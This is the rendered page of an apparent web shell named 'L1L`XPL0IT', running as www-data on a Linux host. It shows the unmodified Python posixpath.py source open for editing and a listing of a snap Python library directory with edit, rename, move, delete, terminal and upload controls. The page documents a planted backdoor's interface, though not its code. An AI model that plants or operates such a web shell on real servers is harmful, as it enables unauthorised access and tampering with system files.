β‘ L1L`XPL0IT
8.2.34 | Linux | www-data (uid:33)
βοΈ Edit: posixpath.py
π //snap/core24/current/lib/python3.12/posixpath.py
"""Common operations on Posix pathnames. Instead of importing this module directly, import os and refer to this module as os.path. The "os.path" name is an alias for this module on Posix systems; on other systems (e.g. Windows), os.path provides the same operations in a manner specific to that platform, and is an alias to another module (e.g. ntpath). Some of this can actually be useful on non-Posix systems too, e.g. for manipulation of the pathname component of URLs. """ # Strings representing various path-related bits and pieces. # These are primarily for export; internally, they are hardcoded. # Should be set before imports for resolving cyclic dependency. curdir = '.' pardir = '..' extsep = '.' sep = '/' pathsep = ':' defpath = '/bin:/usr/bin' altsep = None devnull = '/dev/null' import os import sys import stat import genericpath from genericpath import * __all__ = ["normcase","isabs","join","splitdrive","splitroot","split","splitext", "basename","dirname","commonprefix","getsize","getmtime", "getatime","getctime","islink","exists","lexists","isdir","isfile", "ismount", "expanduser","expandvars","normpath","abspath", "samefile","sameopenfile","samestat", "curdir","pardir","sep","pathsep","defpath","altsep","extsep", "devnull","realpath","supports_unicode_filenames","relpath", "commonpath", "isjunction", "ALLOW_MISSING"] def _get_sep(path): if isinstance(path, bytes): return b'/' else: return '/' # Normalize the case of a pathname. Trivial in Posix, string.lower on Mac. # On MS-DOS this may also turn slashes into backslashes; however, other # normalizations (such as optimizing '../' away) are not allowed # (another function should be defined to do that). def normcase(s): """Normalize case of pathname. Has no effect under Posix""" return os.fspath(s) # Return whether a path is absolute. # Trivial in Posix, harder on the Mac or MS-DOS. def isabs(s): """Test whether a path is absolute""" s = os.fspath(s) sep = _get_sep(s) return s.startswith(sep) # Join pathnames. # Ignore the previous parts if a part is absolute. # Insert a '/' unless the first part is empty or already ends in '/'. def join(a, *p): """Join two or more pathname components, inserting '/' as needed. If any component is an absolute path, all previous path components will be discarded. An empty last part will result in a path that ends with a separator.""" a = os.fspath(a) sep = _get_sep(a) path = a try: if not p: path[:0] + sep #23780: Ensure compatible data type even if p is null. for b in map(os.fspath, p): if b.startswith(sep): path = b elif not path or path.endswith(sep): path += b else: path += sep + b except (TypeError, AttributeError, BytesWarning): genericpath._check_arg_types('join', a, *p) raise return path # Split a path in head (everything up to the last '/') and tail (the # rest). If the path ends in '/', tail will be empty. If there is no # '/' in the path, head will be empty. # Trailing '/'es are stripped from head unless it is the root. def split(p): """Split a pathname. Returns tuple "(head, tail)" where "tail" is everything after the final slash. Either part may be empty.""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head, tail = p[:i], p[i:] if head and head != sep*len(head): head = head.rstrip(sep) return head, tail # Split a path in root and extension. # The extension is everything starting at the last dot in the last # pathname component; the root is everything before that. # It is always true that root + ext == p. def splitext(p): p = os.fspath(p) if isinstance(p, bytes): sep = b'/' extsep = b'.' else: sep = '/' extsep = '.' return genericpath._splitext(p, sep, None, extsep) splitext.__doc__ = genericpath._splitext.__doc__ # Split a pathname into a drive specification and the rest of the # path. Useful on DOS/Windows/NT; on Unix, the drive is always empty. def splitdrive(p): """Split a pathname into drive and path. On Posix, drive is always empty.""" p = os.fspath(p) return p[:0], p def splitroot(p): """Split a pathname into drive, root and tail. On Posix, drive is always empty; the root may be empty, a single slash, or two slashes. The tail contains anything after the root. For example: splitroot('foo/bar') == ('', '', 'foo/bar') splitroot('/foo/bar') == ('', '/', 'foo/bar') splitroot('//foo/bar') == ('', '//', 'foo/bar') splitroot('///foo/bar') == ('', '/', '//foo/bar') """ p = os.fspath(p) if isinstance(p, bytes): sep = b'/' empty = b'' else: sep = '/' empty = '' if p[:1] != sep: # Relative path, e.g.: 'foo' return empty, empty, p elif p[1:2] != sep or p[2:3] == sep: # Absolute path, e.g.: '/foo', '///foo', '////foo', etc. return empty, sep, p[1:] else: # Precisely two leading slashes, e.g.: '//foo'. Implementation defined per POSIX, see # https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap04.html#tag_04_13 return empty, p[:2], p[2:] # Return the tail (basename) part of a path, same as split(path)[1]. def basename(p): """Returns the final component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 return p[i:] # Return the head (dirname) part of a path, same as split(path)[0]. def dirname(p): """Returns the directory component of a pathname""" p = os.fspath(p) sep = _get_sep(p) i = p.rfind(sep) + 1 head = p[:i] if head and head != sep*len(head): head = head.rstrip(sep) return head # Is a path a junction? def isjunction(path): """Test whether a path is a junction Junctions are not a part of posix semantics""" os.fspath(path) return False # Being true for dangling symbolic links is also useful. def lexists(path): """Test whether a path exists. Returns True for broken symbolic links""" try: os.lstat(path) except (OSError, ValueError): return False return True # Is a path a mount point? # (Does this work for all UNIXes? Is it even guaranteed to work by Posix?) def ismount(path): """Test whether a path is a mount point""" try: s1 = os.lstat(path) except (OSError, ValueError): # It doesn't exist -- so not a mount point. :-) return False else: # A symlink can never be a mount point if stat.S_ISLNK(s1.st_mode): return False path = os.fspath(path) if isinstance(path, bytes): parent = join(path, b'..') else: parent = join(path, '..') parent = realpath(parent) try: s2 = os.lstat(parent) except (OSError, ValueError): return False dev1 = s1.st_dev dev2 = s2.st_dev if dev1 != dev2: return True # path/.. on a different device as path ino1 = s1.st_ino ino2 = s2.st_ino if ino1 == ino2: return True # path/.. is the same i-node as path return False # Expand paths beginning with '~' or '~user'. # '~' means $HOME; '~user' means that user's home directory. # If the path doesn't begin with '~', or if the user or $HOME is unknown, # the path is returned unchanged (leaving error reporting to whatever # function is called with the expanded path as argument). # See also module 'glob' for expansion of *, ? and [...] in pathnames. # (A function should also be defined to do full *sh-style environment # variable expansion.) def expanduser(path): """Expand ~ and ~user constructions. If user or $HOME is unknown, do nothing.""" path = os.fspath(path) if isinstance(path, bytes): tilde = b'~' else: tilde = '~' if not path.startswith(tilde): return path sep = _get_sep(path) i = path.find(sep, 1) if i < 0: i = len(path) if i == 1: if 'HOME' not in os.environ: try: import pwd except ImportError: # pwd module unavailable, return path unchanged return path try: userhome = pwd.getpwuid(os.getuid()).pw_dir except KeyError: # bpo-10496: if the current user identifier doesn't exist in the # password database, return the path unchanged return path else: userhome = os.environ['HOME'] else: try: import pwd except ImportError: # pwd module unavailable, return path unchanged return path name = path[1:i] if isinstance(name, bytes): name = str(name, 'ASCII') try: pwent = pwd.getpwnam(name) except KeyError: # bpo-10496: if the user name from the path doesn't exist in the # password database, return the path unchanged return path userhome = pwent.pw_dir # if no user home, return the path unchanged on VxWorks if userhome is None and sys.platform == "vxworks": return path if isinstance(path, bytes): userhome = os.fsencode(userhome) root = b'/' else: root = '/' userhome = userhome.rstrip(root) return (userhome + path[i:]) or root # Expand paths containing shell variable substitutions. # This expands the forms $variable and ${variable} only. # Non-existent variables are left unchanged. _varpattern = r'\$(\w+|\{[^}]*\}?)' _varsub = None _varsubb = None def expandvars(path): """Expand shell variables of form $var and ${var}. Unknown variables are left unchanged.""" path = os.fspath(path) global _varsub, _varsubb if isinstance(path, bytes): if b'$' not in path: return path if not _varsubb: import re _varsubb = re.compile(_varpattern.encode(), re.ASCII).sub sub = _varsubb start = b'{' end = b'}' environ = getattr(os, 'environb', None) else: if '$' not in path: return path if not _varsub: import re _varsub = re.compile(_varpattern, re.ASCII).sub sub = _varsub start = '{' end = '}' environ = os.environ def repl(m): name = m[1] if name.startswith(start): if not name.endswith(end): return m[0] name = name[1:-1] try: if environ is None: value = os.fsencode(os.environ[os.fsdecode(name)]) else: value = environ[name] except KeyError: return m[0] else: return value return sub(repl, path) # Normalize a path, e.g. A//B, A/./B and A/foo/../B all become A/B. # It should be understood that this may change the meaning of the path # if it contains symbolic links! try: from posix import _path_normpath except ImportError: def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): sep = b'/' empty = b'' dot = b'.' dotdot = b'..' else: sep = '/' empty = '' dot = '.' dotdot = '..' if path == empty: return dot _, initial_slashes, path = splitroot(path) comps = path.split(sep) new_comps = [] for comp in comps: if comp in (empty, dot): continue if (comp != dotdot or (not initial_slashes and not new_comps) or (new_comps and new_comps[-1] == dotdot)): new_comps.append(comp) elif new_comps: new_comps.pop() comps = new_comps path = initial_slashes + sep.join(comps) return path or dot else: def normpath(path): """Normalize path, eliminating double slashes, etc.""" path = os.fspath(path) if isinstance(path, bytes): return os.fsencode(_path_normpath(os.fsdecode(path))) or b"." return _path_normpath(path) or "." def abspath(path): """Return an absolute path.""" path = os.fspath(path) if not isabs(path): if isinstance(path, bytes): cwd = os.getcwdb() else: cwd = os.getcwd() path = join(cwd, path) return normpath(path) # Return a canonical path (i.e. the absolute location of a file on the # filesystem). def realpath(filename, *, strict=False): """Return the canonical path of the specified filename, eliminating any symbolic links encountered in the path.""" filename = os.fspath(filename) path, ok = _joinrealpath(filename[:0], filename, strict, {}) return abspath(path) # Join two paths, normalizing and eliminating any symbolic links # encountered in the second path. def _joinrealpath(path, rest, strict, seen): if isinstance(path, bytes): sep = b'/' curdir = b'.' pardir = b'..' else: sep = '/' curdir = '.' pardir = '..' getcwd = os.getcwd if strict is ALLOW_MISSING: ignored_error = FileNotFoundError elif strict: ignored_error = () else: ignored_error = OSError maxlinks = None if isabs(rest): rest = rest[1:] path = sep while rest: name, _, rest = rest.partition(sep) if not name or name == curdir: # current dir continue if name == pardir: # parent dir if path: path, name = split(path) if name == pardir: path = join(path, pardir, pardir) else: path = pardir continue newpath = join(path, name) try: st = os.lstat(newpath) except ignored_error: is_link = False else: is_link = stat.S_ISLNK(st.st_mode) if not is_link: path = newpath continue # Resolve the symbolic link if newpath in seen: # Already seen this path path = seen[newpath] if path is not None: # use cached value continue # The symlink is not resolved, so we must have a symlink loop. if strict: # Raise OSError(errno.ELOOP) os.stat(newpath) else: # Return already resolved part + rest of the path unchanged. return join(newpath, rest), False seen[newpath] = None # not resolved symlink path, ok = _joinrealpath(path, os.readlink(newpath), strict, seen) if not ok: return join(path, rest), False seen[newpath] = path # resolved symlink return path, True supports_unicode_filenames = (sys.platform == 'darwin') def relpath(path, start=None): """Return a relative version of a path""" if not path: raise ValueError("no path specified") path = os.fspath(path) if isinstance(path, bytes): curdir = b'.' sep = b'/' pardir = b'..' else: curdir = '.' sep = '/' pardir = '..' if start is None: start = curdir else: start = os.fspath(start) try: start_list = [x for x in abspath(start).split(sep) if x] path_list = [x for x in abspath(path).split(sep) if x] # Work out how much of the filepath is shared by start and path. i = len(commonprefix([start_list, path_list])) rel_list = [pardir] * (len(start_list)-i) + path_list[i:] if not rel_list: return curdir return join(*rel_list) except (TypeError, AttributeError, BytesWarning, DeprecationWarning): genericpath._check_arg_types('relpath', path, start) raise # Return the longest common sub-path of the sequence of paths given as input. # The paths are not normalized before comparing them (this is the # responsibility of the caller). Any trailing separator is stripped from the # returned path. def commonpath(paths): """Given a sequence of path names, returns the longest common sub-path.""" if not paths: raise ValueError('commonpath() arg is an empty sequence') paths = tuple(map(os.fspath, paths)) if isinstance(paths[0], bytes): sep = b'/' curdir = b'.' else: sep = '/' curdir = '.' try: split_paths = [path.split(sep) for path in paths] try: isabs, = set(p[:1] == sep for p in paths) except ValueError: raise ValueError("Can't mix absolute and relative paths") from None split_paths = [[c for c in s if c and c != curdir] for s in split_paths] s1 = min(split_paths) s2 = max(split_paths) common = s1 for i, c in enumerate(s1): if c != s2[i]: common = s1[:i] break prefix = sep if isabs else sep[:0] return prefix + sep.join(common) except (TypeError, AttributeError): genericpath._check_arg_types('commonpath', *paths) raise
Cancel
π» Terminal
π€ Upload
π
Click or Drag & Drop
π //snap/core24/current/lib/python3.12
/
/
/
snap
/
core24
/
current
/
lib
/
python3.12
Name
Size
Perm
Modified
Actions
π __phello__/
-
0755
2026-08-24 03:28
π Delete
π __pycache__/
-
0755
2026-08-24 03:28
π Delete
π asyncio/
-
0755
2026-08-24 03:28
π Delete
π collections/
-
0755
2026-08-24 03:28
π Delete
π concurrent/
-
0755
2026-08-24 03:28
π Delete
π ctypes/
-
0755
2026-08-24 03:28
π Delete
π curses/
-
0755
2026-08-24 03:28
π Delete
π dbm/
-
0755
2026-08-24 03:28
π Delete
π email/
-
0755
2026-08-24 03:28
π Delete
π encodings/
-
0755
2026-08-24 03:28
π Delete
π html/
-
0755
2026-08-24 03:28
π Delete
π http/
-
0755
2026-08-24 03:28
π Delete
π importlib/
-
0755
2026-08-24 03:28
π Delete
π json/
-
0755
2026-08-24 03:28
π Delete
π lib-dynload/
-
0755
2026-08-24 03:28
π Delete
π logging/
-
0755
2026-08-24 03:28
π Delete
π multiprocessing/
-
0755
2026-08-24 03:28
π Delete
π pydoc_data/
-
0755
2026-08-24 03:28
π Delete
π re/
-
0755
2026-08-24 03:28
π Delete
π sqlite3/
-
0755
2026-08-24 03:28
π Delete
π test/
-
0755
2026-08-24 03:28
π Delete
π tomllib/
-
0755
2026-08-24 03:28
π Delete
π unittest/
-
0755
2026-08-24 03:28
π Delete
π urllib/
-
0755
2026-08-24 03:28
π Delete
π venv/
-
0755
2026-08-24 03:28
π Delete
π wsgiref/
-
0755
2026-08-24 03:28
π Delete
π xml/
-
0755
2026-08-24 03:28
π Delete
π xmlrpc/
-
0755
2026-08-24 03:28
π Delete
π zipfile/
-
0755
2026-08-24 03:28
π Delete
π zoneinfo/
-
0755
2026-08-24 03:28
π Delete
EXTERNALLY-MANAGED
645B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
LICENSE.txt
13.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
__future__.py
5.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
__hello__.py
227B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_aix_support.py
3.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_collections_abc.py
31.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_compat_pickle.py
8.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_compression.py
5.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_distutils_system_mod.py
5.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_markupbase.py
14.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_osx_support.py
21.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_py_abc.py
6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pydatetime.py
89.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pydecimal.py
223.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pyio.py
91.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_pylong.py
8.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sitebuiltins.py
3.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_strptime.py
24K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sysconfigdata__linux_x86_64-linux-gnu.py
48.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_sysconfigdata__x86_64-linux-gnu.py
48.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_threading_local.py
7.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
_weakrefset.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
abc.py
6.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
aifc.py
33.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
antigravity.py
500B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
argparse.py
99.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ast.py
62.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
base64.py
20.1K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bdb.py
31.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bisect.py
3.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
bz2.py
11.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cProfile.py
6.4K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
calendar.py
24.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cgi.py
33.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cgitb.py
12.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
chunk.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
cmd.py
14.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
code.py
10.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
codecs.py
36K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
codeop.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
colorsys.py
4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
compileall.py
20.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
configparser.py
52.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
contextlib.py
27K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
contextvars.py
129B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
copy.py
8.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
copyreg.py
7.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
crypt.py
3.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
csv.py
16K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
dataclasses.py
60.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
datetime.py
268B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
decimal.py
320B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
difflib.py
81.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
dis.py
29.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
doctest.py
104K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
enum.py
79.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
filecmp.py
9.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fileinput.py
15.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fnmatch.py
5.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
fractions.py
37.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ftplib.py
34.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
functools.py
37.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
genericpath.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
getopt.py
7.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
getpass.py
5.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
gettext.py
21.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
glob.py
8.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
graphlib.py
9.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
gzip.py
24.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
hashlib.py
9.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
heapq.py
22.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
hmac.py
7.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
imaplib.py
52.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
imghdr.py
4.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
inspect.py
122.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
io.py
3.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ipaddress.py
76.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
keyword.py
1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
linecache.py
5.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
locale.py
76.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
lzma.py
13K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mailbox.py
77.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mailcap.py
9.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
mimetypes.py
22.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
modulefinder.py
23.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
netrc.py
6.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
nntplib.py
40.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ntpath.py
29.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
nturl2path.py
2.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
numbers.py
11.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
opcode.py
12.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
operator.py
10.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
optparse.py
59K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
os.py
38.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pathlib.py
50K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pdb.py
67.8K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pickle.py
63.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pickletools.py
91.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pipes.py
8.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pkgutil.py
17.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
platform.py
42.3K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
plistlib.py
27.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
poplib.py
13.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
posixpath.py
17.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pprint.py
23.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
profile.py
22.6K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pstats.py
28.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pty.py
6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
py_compile.py
7.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pyclbr.py
11.1K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
pydoc.py
110.4K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
queue.py
11.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
quopri.py
7K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
random.py
33.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
reprlib.py
6.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
rlcompleter.py
7.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
runpy.py
12.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sched.py
6.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
secrets.py
1.9K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
selectors.py
19.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shelve.py
8.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shlex.py
13K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
shutil.py
56.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
signal.py
2.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
site.py
23.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sitecustomize.py
B
0
1970-01-01 00:00
π View
βοΈ Edit
π Rename
π¦ Move
π Del
smtplib.py
42.5K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sndhdr.py
7.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
socket.py
36.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
socketserver.py
27.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_compile.py
231B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_constants.py
232B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sre_parse.py
229B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
ssl.py
49.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
stat.py
5.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
statistics.py
49K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
string.py
11.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
stringprep.py
12.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
struct.py
257B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
subprocess.py
86.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sunau.py
18K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
symtable.py
10.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
sysconfig.py
32K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tabnanny.py
11.3K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tarfile.py
111.2K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
telnetlib.py
22.8K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tempfile.py
36.5K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
textwrap.py
19.3K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
this.py
1003B
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
threading.py
58.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
timeit.py
13.1K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
token.py
2.4K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tokenize.py
20.7K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
trace.py
28.5K
0755
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
traceback.py
45.2K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
tracemalloc.py
17.6K
0644
2026-06-19 12:46
π View
βοΈ Edit
π Rename
π¦ Move
π Del
